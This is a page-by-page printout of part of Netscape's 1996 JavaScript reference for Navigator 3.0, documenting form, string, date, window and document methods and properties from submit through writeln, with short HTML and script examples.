http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

submit method
Submits a form.

Syntax
formName.submit()

formName is the name of any form or an element in the forms array.

Method of
form

Description
The submit method submits the specified form. It performs the same action as a submit button.

Use the submit method to send data back to an http server. The submit method returns the data
using either "get" or "post", as specified in the method property.

Examples
The following example submits a form called musicChoice:

document.musicChoice.submit()

If musicChoice is the first form created, you also can submit it as follows:

document.forms[0].submit()

See also the example for the form object.

See also

·
·
submit object
onSubmit event handler

submit object
Changed in Navigator 3.0

A submit button on an HTML form. A submit button causes a form to be submitted.

Syntax
To define a submit button, use standard HTML syntax with the addition of the onClick event
handler:

<INPUT
TYPE="submit"

22 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

NAME=" submitName"
VALUE=" buttonText"
[onClick=" handlerText"]>

NAME="submitName" specifies the name of the submit object. You can access this value using
the name property.
VALUE="buttonText" specifies the label to display on the button face. You can access this value
using the value property.

To use a submit object's properties and methods:

1. submitName.propertyName
2. submitName.methodName(parameters)
3. formName.elements[ index].propertyName
4. formName.elements[ index].methodName(parameters)

submitName is the value of the NAME attribute of a submit object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a submit object on a form.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· form

Description
A submit object on a form looks as follows:

Done

A submit object is a form element and must be defined within a <FORM> tag.

Clicking a submit button submits a form to the URL specified by the form's action property. This
action always loads a new page into the client; it may be the same as the current page, if the
action so specifies or is not specified.

The submit button's onClick event handler cannot prevent a form from being submitted; instead,
use the form's onSubmit event handler or use the submit method instead of a submit object. See
the examples for the form object.

Properties

·
·
name reflects the NAME attribute
value reflects the VALUE attribute

Methods

· click

Event handlers

23 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

· onClick

Examples
The following example creates a submit object called submit_button. The text "Done" is displayed
on the face of the button.

<INPUT TYPE="submit" NAME="submit_button" VALUE="Done">

See also the examples for the form object.

See also

·
·
button, form, and reset objects
submit method
· onSubmit event handler

substring method
Returns a subset of a string object.

Syntax
stringName.substring( indexA, indexB)

stringName is any string or a property of an existing object.


indexA is any integer from 0 to stringName.length - 1, or a property of an existing object.
indexB is any integer from 0 to stringName.length - 1, or a property of an existing object.

Method of
string

Description
Characters in a string are indexed from left to right. The index of the first character is 0, and the
index of the last character is stringName.length - 1.

If indexA is less than indexB, the substring method returns the subset starting with the character at
indexA and ending with the character before indexB. If indexA is greater than indexB, the
substring method returns the subset starting with the character at indexB and ending with the
character before indexA. If indexA is equal to indexB, the substring method returns the empty
string.

Examples
The following example uses substring to display characters from the string "Netscape".

var anyString="Netscape"

//Displays "Net"
document.write(anyString.substring(0,3))

24 of 25 30.08.96 17:57
http://www.netscape.com..._s-s.html#select_object wysiwyg://display.tocframe.5/http://www....ok/javascript/ref_s-s.html#select_object

document.write(anyString.substring(3,0))
//Displays "cap"
document.write(anyString.substring(4,7))
document.write(anyString.substring(7,4))

sup method
Causes a string to be displayed as a superscript as if it were in a <SUP> tag.

Syntax
stringName.sup()

stringName is any string or a property of an existing object.

Method of
string

Description
Use the sup method with the write or writeln methods to format and display a string in a
document.

Examples
The following example uses the sub and sup methods to format a string:

var superText="superscript"
var subText="subscript"

document.write("This is what a " + superText.sup() + " looks like.")


document.write("<P>This is what a " + subText.sub() + " looks like.")

The previous example produces the same output as the following HTML:

This is what a <SUP>superscript</SUP> looks like.


<P>This is what a <SUB>subscript</SUB> looks like.

See also

· sub method

25 of 25 30.08.96 17:57
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

tan method
Returns the tangent of a number.

Syntax
Math.tan( number)

number is a numeric expression representing the size of an angle in radians, or a property of an


existing object.

Method of
Math

Description
The tan method returns a numeric value which represents the tangent of the angle.

Examples
//Displays the value 0.9999999999999999
document.write("The tangent of pi/4 radians is " +
Math.tan(Math.PI/4))

//Displays the value 0


document.write("<P>The tangent of 0 radians is " +
Math.tan(0))

See also

· acos, asin, atan, cos, sin methods

target property
Changed in Navigator 3.0

For form, a string specifying the name of the window that responses go to after a form has been
submitted. For link, a string specifying the name of the window that displays the content of a
clicked hypertext link.

Syntax
1. formName.target
2. links[ index].target

formName is either the name of a form or an element in the forms array.


index is an integer representing a link object.

Property of
form, link

Description
1 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

Description
The target property initially reflects the TARGET attribute of the <FORM> and <A> tags;
however, setting target overrides these attributes.

The target property cannot be assigned the value of a JavaScript expression or variable.

You can set the target property at any time.

Certain values of the target property may require specific values for other form properties. See
RFC 1867 for more information.

Examples
The following example specifies that responses to the musicInfo form are displayed in the
"msgWindow" window:

document.musicInfo.target="msgWindow"

See also
For form:
· action, encoding, method properties

text object
Changed in Navigator 3.0

A text input field on an HTML form. A text field lets the user enter a word, phrase, or series of
numbers.

Syntax
To define a text object, use standard HTML syntax with the addition of the onBlur, on Change,
onFocus, and onSelect event handlers:

<INPUT
TYPE="text"
NAME=" textName"
VALUE=" textValue"
SIZE= integer
[onBlur=" handlerText"]
[onChange=" handlerText"]
[onFocus=" handlerText"]
[onSelect=" handlerText"]>

NAME="textName" specifies the name of the text object. You can access this value using the
name property.
VALUE="textValue" specifies the initial value of the text object. You can access this value using
the defaultValue property.
SIZE=integer specifies the number of characters the text object can accommodate without
scrolling.

To use a text object's properties and methods:

2 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

1. textName.propertyName
2. textName.methodName(parameters)
3. formName.elements[ index].propertyName
4. formName.elements[ index].methodName(parameters)

textName is the value of the NAME attribute of a text object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a text object on a form.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· form

Description
A text object on a form looks as follows:

Last name: Salamone

A text object is a form element and must be defined within a <FORM> tag.

text objects can be updated (redrawn) dynamically by setting the value property (this.value).

Properties

·
·
defaultValue reflects the VALUE attribute
name reflects the NAME attribute
· value reflects the current value of the text object's field

Methods

·
·
focus
blur
· select

Event handlers

·
·
onBlur
onChange
·
·
onFocus
onSelect

Examples

Example 1. The following example creates a text object that is 25 characters long. The text field
appears immediately to the right of the words "Last name:". The text field is blank when the form
loads.

<B>Last name:</B> <INPUT TYPE="text" NAME="last_name" VALUE="" SIZE=25>

3 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

Example 2. The following example creates two text objects on a form. Each object has a default
value. The city object has an onFocus event handler that selects all the text in the field when the
user tabs to that field. The state object has an onChange event handler that forces the value to
upper case.

<FORM NAME="form1">
<BR><B>City: </B><INPUT TYPE="text" NAME="city" VALUE="Anchorage"
SIZE="20" onFocus="this.select()">
<B>State: </B><INPUT TYPE="text" NAME="state" VALUE="AK" SIZE="2"
onChange="this.value=this.value.toUpperCase()">
</FORM>

See also the examples for the onBlur, onChange, onFocus, and onSelect event handlers.

See also

· form, password, string, and textarea objects

text property
Changed in Navigator 3.0

A string specifying the text that follows an <OPTION> tag in a select object.

Syntax
selectName.options[ index].text

selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
index is an integer representing an option in a select object.

Property of
options array

Description
The text property initially reflects the text that follows an <OPTION> tag in a select object.

You can set the text property at any time; however, the following effects result:
·
·
The value of the property changes.
The text displayed by the option in the select object does not change.

Be careful if you change the text property. If you evaluate the property after you change it, the
property contains the new value, not the value that is displayed onscreen.

Examples
In the following example, the getChoice() function returns the value of the text property for the
selected option. The for loop evaluates every option in the musicType select object. The if
statement finds the option that is selected.

4 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

function getChoice() {
for (var i = 0; i < document.musicForm.musicType.length; i++) {
if (document.musicForm.musicType.options[i].selected == true) {
return document.musicForm.musicType.options[i].text
}
}
return null
}

The previous example assumes that the select object is similar to the following:

<SELECT NAME="musicType">
<OPTION SELECTED> R&B
<OPTION> Jazz
<OPTION> Blues
<OPTION> New Age
</SELECT>

textarea object
Changed in Navigator 3.0

A multiline input field on an HTML form. A textarea field lets the user enter words, phrases, or
numbers.

Syntax
To define a text area, use standard HTML syntax with the addition of the onBlur, onChange,
onFocus, and onSelect event handlers:

<TEXTAREA
NAME=" textareaName"
ROWS=" integer"
COLS=" integer"
WRAP="off|virtual|physical"
[onBlur=" handlerText"]
[onChange=" handlerText"]
[onFocus=" handlerText"]
[onSelect=" handlerText"]>
textToDisplay
</TEXTAREA>

NAME="textareaName" specifies the name of the textarea object. You can access this value using
the name property.
ROWS="integer" and COLS="integer" define the physical size of the displayed input field in
numbers of characters.
textToDisplay specifies the initial value of the textarea object. A textarea allows only ASCII text,
and new lines are respected. You can access this value using the defaultValue property.

The WRAP attribute controls word wrapping inside the TEXTAREA. The value "off" is default
and lines are sent exactly as typed. The value "virtual" wraps in the display but are sent exactly as
typed. The value "physical" wraps in the display and sends new-lines at the wrap points as if
new-lines had been entered.

To use a textarea object's properties and methods:

5 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

1. textareaName.propertyName
2. textareaName.methodName(parameters)
3. formName.elements[ index].propertyName
4. formName.elements[ index].methodName(parameters)

textareaName is the value of the NAME attribute of a textarea object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a textarea object on a form.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· form

Description
A textarea object on a form looks as follows:

Our storage ottoman provides an attractive way to


store lots of CDs and videos--and it's versatile
enough to store other things as well.

It can hold up to 72 CDs under the lid and 20 videos


in the drawer below.

A textarea object is a form element and must be defined within a <FORM> tag.

textarea objects can be updated (redrawn) dynamically by setting the value property (this.value).

To begin a new line in a textarea object, you can use a newline character. This character varies
from platform to platform: Unix is \n, Windows is \r\n, and Macintosh is \n. One way to enter a
newline character programatically is to test the appVersion property to determine the current
platform and set the newline character accordingly. See the appVersion property for an example.

Properties

·
·
defaultValue reflects the VALUE attribute
name reflects the NAME attribute
· value reflects the current value of the textarea object

Methods

·
·
focus
blur
· select

Event handlers

·
·
onBlur
onChange

6 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

·
·
onFocus
onSelect

Examples
The following example creates a textarea object that is 6 rows long and 55 columns wide. The
textarea field appears immediately below the word "Description:". When the form loads, the
textarea object contains several lines of data, including one blank line.

<B>Description:</B>
<BR><TEXTAREA NAME="item_description" ROWS=6 COLS=55>
Our storage ottoman provides an attractive way to
store lots of CDs and videos--and it's versatile
enough to store other things as well.

It can hold up to 72 CDs under the lid and 20 videos


in the drawer below.
</TEXTAREA>

See also the examples for the onBlur, onChange, onFocus, and onSelect event handlers.

See also

· form, password, string, and text objects

title property
A string representing the title of a document.

Syntax
document.title

Property of
document

Description
The title property is a reflection of the value specified within the <TITLE> and </TITLE> tags. If
a document does not have a title, the title property is null.

title is a read-only property.

Examples
In the following example, the value of the title property is assigned to a variable called docTitle:

var newWindow = window.open("http://www.netscape.com")


var docTitle = newWindow.document.title

7 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

toGMTString method
Converts a date to a string, using the Internet GMT conventions.

Syntax
dateObjectName.toGMTString()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
The exact format of the value returned by toGMTString varies according to the platform.

Examples
In the following example, today is a date object:

today.toGMTString()

In this example, the toGMTString method converts the date to GMT (UTC) using the operating
system's time zone offset and returns a string value that is similar to the following form. The exact
format depends on the platform.

Mon, 18 Dec 1995 17:28:35 GMT

See also

· toLocaleString method

toLocaleString method
Converts a date to a string, using the current locale's conventions.

Syntax
dateObjectName.toLocaleString()

dateObjectName is either the name of a date object or a property of an existing object.

Method of
Date

Description
If you are trying to pass a date using toLocaleString, be aware that different locales assemble the

8 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

string in different ways. Using methods such as getHours, getMinutes, and getSeconds will give
more portable results.

Examples
In the following example, today is a date object:

today.toLocaleString()

In this example, toLocaleString returns a string value that is similar to the following form. The
exact format depends on the platform.

12/18/95 17:28:35

See also

· toGMTString method

toLowerCase method
Returns the calling string value converted to lower case.

Syntax
stringName.toLowerCase()

stringName is any string or a property of an existing object.

Method of
string

Description
The toLowerCase method returns the value of stringName converted to lower case. toLowerCase
does not affect the value of stringName itself.

Examples
The following examples both yield "alphabet".

var upperText="ALPHABET"
document.write(upperText.toLowerCase())

"ALPHABET".toLowerCase()

See also

· toUpperCase method

top property

9 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

The top property is a synonym for the top-most Navigator window, which is a "document
window" or "Web Browser window."

Syntax
1. top. propertyName
2. top. methodName
3. top. frameName
4. top.frames[ index]

propertyName is defaultStatus, status, or length.


methodName is any method associated with the window object.
frameName and frames[index] are ways to refer to frames.

Property of
window

Description
The top property refers to the top-most window that contains frames or nested framesets. Use the
top property to refer to this ancestor window.

The top property is read-only. The value of the top property is

<object objectReference>

where objectReference is an internal reference.

Examples
The statement top.close() closes the top-most ancestor window.

The statement top.length specifies the number of frames contained within the top-most ancestor
window. When the top-most ancestor is defined as follows, top.length returns 3:

<FRAMESET COLS="30%,40%,30%">
<FRAME SRC=child1.htm NAME="childFrame1">
<FRAME SRC=child2.htm NAME="childFrame2">
<FRAME SRC=child3.htm NAME="childFrame3">
</FRAMESET>

The following example sets the background color of a frame called myFrame to red. myFrame is
a child of the top-most ancestor window.

top.myFrame.document.bgColor="red"

toUpperCase method
Returns the calling string value converted to upper case.

Syntax

10 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

stringName.toUpperCase()

stringName is any string or a property of an existing object.

Method of
string

Description
The toUpperCase method returns the value of stringName converted to upper case. toUpperCase
does not affect the value of stringName itself.

Examples
The following examples both yield "ALPHABET".

var lowerText="alphabet"
document.write(lowerText.toUpperCase())

"alphabet".toUpperCase()

See also

· toLowerCase method

unescape function
Returns the ASCII string for the specified value.

Syntax
unescape(" string")

string is a string or a property of an existing object, containing characters in either of the


following forms:
·
·
"%integer", where integer is a number between 0 and 255 (decimal)
"hex", where hex is a number between 0x0 and 0xFF (hexadecimal)

Description
The unescape function is not a method associated with any object, but is part of the language
itself.

The string returned by the unescape function is a series of characters in the ISO Latin-1 character
set.

Examples
The following example returns "&"

11 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

unescape("%26")

The following example returns "!#"

unescape("%21%23")

See also

· escape function

URL property
A string specifying the complete URL of the document.

Syntax
document.URL

Property of
document

Description
URL is a string-valued property that usually matches what window.location.href is set to when
you load the document, but redirection may change location.href.

URL is a read-only property.

Examples
The following example displays the URL of the current document:

document.write("The current URL is " + document.URL)

See also

· href

userAgent property
A string representing the value of the user-agent header sent in the HTTP protocol from client to
server.

Syntax
navigator.userAgent

Property of
navigator

12 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

Description
Servers use the value sent in the user-agent header to identify the client.

userAgent is a read-only property.

Examples
The following example displays userAgent information for the Navigator:

document.write("The value of navigator.userAgent is " +


navigator.userAgent)

For Navigator 2.0, this displays the following:

The value of navigator.userAgent is Mozilla/2.0 (Win16; I)

See also

· appName, appVersion, appCodeName properties

UTC method
Returns the number of milliseconds in a date object since January 1, 1970 00:00:00, Universal
Coordinated Time (GMT).

Syntax
Date.UTC( year, month, day [, hrs] [, min] [, sec])

year is a year after 1900.


month is a month between 0-11.
date is a day of the month between 1-31.
hrs is hours between 0-23.
min is minutes between 0-59.
sec is seconds between 0-59.

Method of
Date

Description
UTC takes comma-delimited date parameters and returns the number of milliseconds since
January 1, 1970 00:00:00, Universal Coordinated Time (GMT).

Because UTC is a static method of Date, you always use it as Date.UTC() , rather than as a
method of a date object you created.

Examples

13 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

The following statement creates a date object using GMT instead of local time:

gmtDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0))

See also

· parse method

value property
Changed in Navigator 3.0

A string that is related to the VALUE attribute of its object.

Syntax
1. objectName.value
2. radioName[index].value
3. selectName.options.[ index].value

objectName is either the value of the NAME attribute of a hidden, password, text, textarea,
button, reset, submit or checkbox object or an element in the elements array.
radioName is the value of the NAME attribute of a radio object.
selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
index is an integer representing a radio button in a radio object or an option in a select object.

Property of

·
·
button, checkbox, hidden, password, radio, reset, submit, text, textarea objects
options array

Description
The value property differs for every object.

hidden, text, and textarea objects

The value property is a string that initially reflects the VALUE attribute. This string is displayed
in the text and textarea fields. The value of this property changes when a user or a program
modifies the field.

You can set the value property at any time. The display of the text and textarea objects updates
immediately when you set the value property.

password object

The value property is a string that initially reflects the VALUE attribute. This string is represented
by asterisks in the password object field. The value of this property changes when a user or a
program modifies the field, but the value is always displayed as asterisks.

If you programatically set the value property and then evaluate it, JavaScript returns the current

14 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

value. If a user interactively modifies the value in the password field, you cannot evaluate it
accurately for security reasons.

button, reset, and submit objects

When a VALUE attribute is specified in HTML, the value property is a string that reflects it. This
string is displayed on the face of the button.

When a VALUE attribute is not specified in HTML, the value property differs for each object:
·
·
For button, it is an empty string
For reset, it is the string "Reset"
·For submit, it is the string "Submit Query"

These strings are displayed on the faces of the buttons.

value is a read-only property.

Do not confuse the value property with the name property. The name property is not displayed
onscreen; it is used to reference the objects programatically.

options array

The value property is a string that initially reflects the VALUE attribute. The value of this
property can change when a program modifies it. The value property is not displayed onscreen,
but is returned to the server if the option is selected.

You can set the value property at any time.

Do not confuse the value property with the selection state of the select object or the text that is
displayed as an option. The selected and selectedIndex properties determine which options are
selected, and the defaultSelected property determines the default selection state. The text that is
displayed in each option is specified by its text property.

checkbox and radio objects

When a VALUE attribute is specified in HTML, the value property is a string that reflects it.
When a VALUE attribute is not specified in HTML, the value property is a string that evaluates to
"on". The value property is not displayed onscreen, but is returned to the server if the radio button
or checkbox is selected.

You can set the value property at any time.

Do not confuse the value property with the selection state of the object or the text that is displayed
next to each checkbox and radio button. The checked property determines the selection state of
the object, and the defaultChecked property determines the default selection state. The text that is
displayed is specified following the <INPUT TYPE="checkbox"> or the <INPUT
TYPE="radio"> tag.

Examples
The following function evaluates the value property of a group of buttons and displays it in the
msgWindow window:

15 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

function valueGetter() {
var msgWindow=window.open("")
msgWindow.document.write("submitButton.value is " +
document.valueTest.submitButton.value + "<BR>")
msgWindow.document.write("resetButton.value is " +
document.valueTest.resetButton.value + "<BR>")
msgWindow.document.write("helpButton.value is " +
document.valueTest.helpButton.value + "<BR>")
msgWindow.document.close()
}

This example displays the following values:

Query Submit
Reset
Help

The previous example assumes the buttons have been defined as follows

<INPUT TYPE="submit" NAME="submitButton">


<INPUT TYPE="reset" NAME="resetButton">
<INPUT TYPE="button" NAME="helpButton" VALUE="Help">

The following function evaluates the value property of a group of radio buttons and displays it in
the msgWindow window:

function valueGetter() {
var msgWindow=window.open("")
for (var i = 0; i < document.valueTest.radioObj.length; i++) {
msgWindow.document.write
("The value of radioObj[" + i + "] is " +
document.valueTest.radioObj[i].value +"<BR>")
}
msgWindow.document.close()
}

This example displays the following values:

on
on
on
on

The previous example assumes the buttons have been defined as follows

<BR><INPUT TYPE="radio" NAME="radioObj">R&B


<BR><INPUT TYPE="radio" NAME="radioObj" CHECKED>Soul
<BR><INPUT TYPE="radio" NAME="radioObj">Rock and Roll
<BR><INPUT TYPE="radio" NAME="radioObj">Blues

See also
For hidden, password, text, and textarea:
· defaultValue property

For button, reset, and submit:


· name property

For options array:


· defaultSelected, selected, selectedIndex, text properties

16 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

For checkbox and radio:


· checked, defaultChecked properties

vlinkColor property
A string specifying the color of visited links.

Syntax
document.vlinkColor

Property of
document

Description
The vlinkColor property is expressed as a hexadecimal RGB triplet or as one of the string literals
listed in Color Values. This property is the JavaScript reflection of the VLINK attribute of the
<BODY> tag. The default value of this property is set by the user on the Colors tab of the
Preferences dialog box, which is displayed by choosing General Preferences from the Options
menu. You cannot set this property after the HTML source has been through layout.

If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For
example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the
RGB triplet for salmon is "FA8072".

Examples
The following example sets the color of visited links to aqua using a string literal:

document.vlinkColor="aqua"

The following example sets the color of active links to aqua using a hexadecimal triplet:

document.vlinkColor="00FFFF"

See also

· alinkColor, bgColor, fgColor, and linkColor properties

window object
Changed in Navigator 3.0

The top-level object for each document, location, and history object group.

Syntax
To define a window, use the open method:

17 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

windowVar = window.open(" URL", " windowName" [," windowFeatures"])

windowVar is the name of a new window. Use this variable when referring to a window's
properties, methods, and containership.
windowName is the window name to use in the TARGET attribute of a <FORM> or <A> tag.

For details on defining a window, see the open method.

To use a window object's properties and methods:

1. window. propertyName
2. window. methodName(parameters)
3. self. propertyName
4. self. methodName(parameters)
5. top. propertyName
6. top. methodName(parameters)
7. parent. propertyName
8. parent. methodName(parameters)
9. windowVar.propertyName
10. windowVar.methodName(parameters)
11. propertyName
12. methodName(parameters)

windowVar is a variable referring to a window object. See the preceding syntax for defining a
window.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

To define an onLoad or onUnload event handler for a window object, use the <BODY> or
<FRAMESET> tags:

<BODY
...
[onLoad=" handlerText"]
[onUnload=" handlerText"]>
</BODY>

<FRAMESET
ROWS=" rowHeightList"
COLS=" columnWidthList"
[onLoad=" handlerText"]
[onUnload=" handlerText"]>
[<FRAME SRC=" locationOrURL" NAME=" frameName">]
</FRAMESET>

For information on the <BODY> and <FRAMESET> tags, see the document and frame objects.

Property of

· None.

Description
The window object is the top-level object in the JavaScript client hierarchy. Frame objects are
also windows.

The self and window properties are synonyms for the current window, and you can optionally use
them to refer to the current window. For example, you can close the current window by calling

18 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

either window.close() or self.close() . You can use these properties to make your code more
readable, or to disambiguate the property reference self.status from a form called status . See
the properties and methods listed below for more examples.

The top and parent properties are also synonyms that can be used in place of the window name.
top refers to the top-most Navigator window, and parent refers to a window containing a frameset.
See the top and parent properties.

Because the existence of the current window is assumed, you do not have to reference the name
of the window when you call its methods and assign its properties. For example, status="Jump
to a new location" is a valid property assignment, and close() is a valid method call.
However, when you open or close a window within an event handler, you must specify
window.open() or window.close() instead of simply using open() or close(). Due to the scoping of
static objects in JavaScript, a call to close() without specifying an object name is equivalent to
document.close().

You can reference a window's frame objects in your code by using the frames array. The frames
array contains an entry for each frame in a window with a <FRAMESET> tag.

Windows lack event handlers until some HTML is loaded into them containing a <BODY> or
<FRAMESET> tag.

Properties

·
·
defaultStatus reflects the default message displayed in the window's status bar
frames is an array reflecting all the frames in a window
·
·
length reflects the number of frames in a parent window
name reflects the windowName argument
· parent is a synonym for the windowName argument and refers to a window containing a
frameset
·
·
self is a synonym for the windowName argument and refers to the current window
status specifies a priority or transient message in the window's status bar
·
·
top is a synonym for the windowName argument and refers to the top-most Navigator window
window is a synonym for the windowName argument and refers to the current window

The following objects are also properties of the window object:


·
·
document
frame
· location

Methods

·
·
alert
close
·
·
confirm
open
·
·
prompt
setTimeout
· clearTimeout

Event handlers

· onLoad

19 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

· onUnload

Examples
In the following example, the document in the top window opens a second window, window2, and
defines pushbuttons that open a message window, write to the message window, close the
message window, and close window2. The onLoad and onUnload event handlers of the document
loaded into window2 display alerts when the window opens and closes.

WIN1.HTML, which defines the frames for the first window, contains the following code:

<HTML>
<HEAD>
<TITLE>Window object example: Window 1</TITLE>
</HEAD>
<BODY BGCOLOR="antiquewhite">
<SCRIPT>
window2=open("win2.html","secondWindow","scrollbars=yes,width=250, height=400")
document.writeln("<B>The first window has no name: " + window.name + "</B>")
document.writeln("<BR><B>The second window is named: " + window2.name + "</B>")
</SCRIPT>
<FORM NAME="form1">
<P><INPUT TYPE="button" VALUE="Open a message window"
onClick="window3=window.open('','messageWindow','scrollbars=yes,width=175, height=300')">
<P><INPUT TYPE="button" VALUE="Write to the message window"
onClick="window3.document.writeln('Hey there');window3.document.close()">
<P><INPUT TYPE="button" VALUE="Close the message window"
onClick="window3.close()">
<P><INPUT TYPE="button" VALUE="Close window2"
onClick="window2.close()">
</FORM>
</BODY>
</HTML>

WIN2.HTML, which defines the content for window2, contains the following code:

<HTML>
<HEAD>
<TITLE>Window object example: Window 2</TITLE>
</HEAD>
<BODY BGCOLOR="oldlace"
onLoad="alert('Message from ' + window.name + ': Hello, World.')"
onUnload="alert('Message from ' + window.name + ': I\'m closing')">
<B>Some numbers</B>
<LI>one
<LI>two
<LI>three
<LI>four
<LI>five
<LI>six
<LI>seven
<LI>eight
<LI>nine
</BODY>
</HTML>

See also the example for the frame object.

See also

· document and frame objects

20 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

window property
The window property is a synonym for the current window or frame.

Syntax
1. window. propertyName
2. window. methodName

propertyName is the defaultStatus, status, length, or name property when the calling window
refers to a window object.
propertyName is the length or name property when the calling window refers to a frame object.
methodName is any method associated with the window object.

Property of
frame, window

Description
The window property refers to the current window or frame.

Although you can use the window property as a synonym for the current frame, your code is more
readable if you use the self property. For example, window.name and self.name both specify the
name of the current frame, but self.name is easier to understand.

Use the window property to disambiguate a property of the window object from a form or form
element of the same name. You can also use the window property to make your code more
readable.

The window property is read-only. The value of the window property is

<object nameAttribute>

where nameAttribute is the NAME attribute if window refers to a frame, or an internal reference if
window refers to a window.

Examples
In the following example, window.status is used to set the status property of the current window.
This usage disambiguates the status property of the current window from a form called "status"
within the current window.

<A HREF=""
onClick="this.href=pickRandomURL()"
onMouseOver="window.status='Pick a random URL' ; return true">
Go!</A>

See also

· self property

21 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

write method
Writes one or more HTML expressions to a document in the specified window.

Syntax
document.write( expression1 [,expression2], ...[, expressionN])

expression1 through expressionN are any JavaScript expressions or the properties of existing
objects.

Method of
document

Description
The write method displays any number of expressions in a document window. You can specify
any JavaScript expression with the write method, including numerics, strings, or logicals.

The write method is the same as the writeln method, except the write method does not append a
newline character to the end of the output.

Use the write method within any <SCRIPT> tag or within an event handler. Event handlers
execute after the original document closes, so the write method will implicitly open a new
document of mimeType text/html if you do not explicitly issue a document.open() method in the
event handler.

Examples
In the following example, the write method takes several arguments, including strings, a numeric,
and a variable:

var mystery = "world"


// Displays Hello world testing 123
msgWindow.document.write("Hello ", mystery, " testing ", 123)

In the following example, the write method takes two arguments. The first argument is an
assignment expression, and the second argument is a string literal.

//Displays Hello world...


msgWindow.document.write(mystr = "Hello "+ "world...")

In the following example, the write method takes a single argument that is a conditional
expression. If the value of the variable age is less than 18, the method displays "Minor". If the
value of age is greater than or equal to 18, the method displays "Adult".

msgWindow.document.write(status = (age >= 18) ? "Adult" : "Minor")

See also

· close, open, writeln methods

22 of 23 30.08.96 18:01
wysiwyg://display.tocfr...ef_t-z.html#text_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_t-z.html#text_object

writeln method
Writes one or more HTML expressions to a document in the specified window and follows them
with a newline character.

Syntax
document.writeln( expression1 [,expression2], ...[, expressionN])

expression1 through expressionN are any JavaScript expressions or the properties of existing
objects.

Method of
document

Description
The writeln method displays any number of expressions in a document window. You can specify
any JavaScript expression, including numerics, strings, or logicals.

The writeln method is the same as the write method, except the writeln method appends a newline
character to the end of the output. HTML ignores the newline character, except within certain tags
such as <PRE>.

Use the writeln method within any <SCRIPT> tag or within an event handler. Event handlers
execute after the original document closes, so the writeln method will implicitly open a new
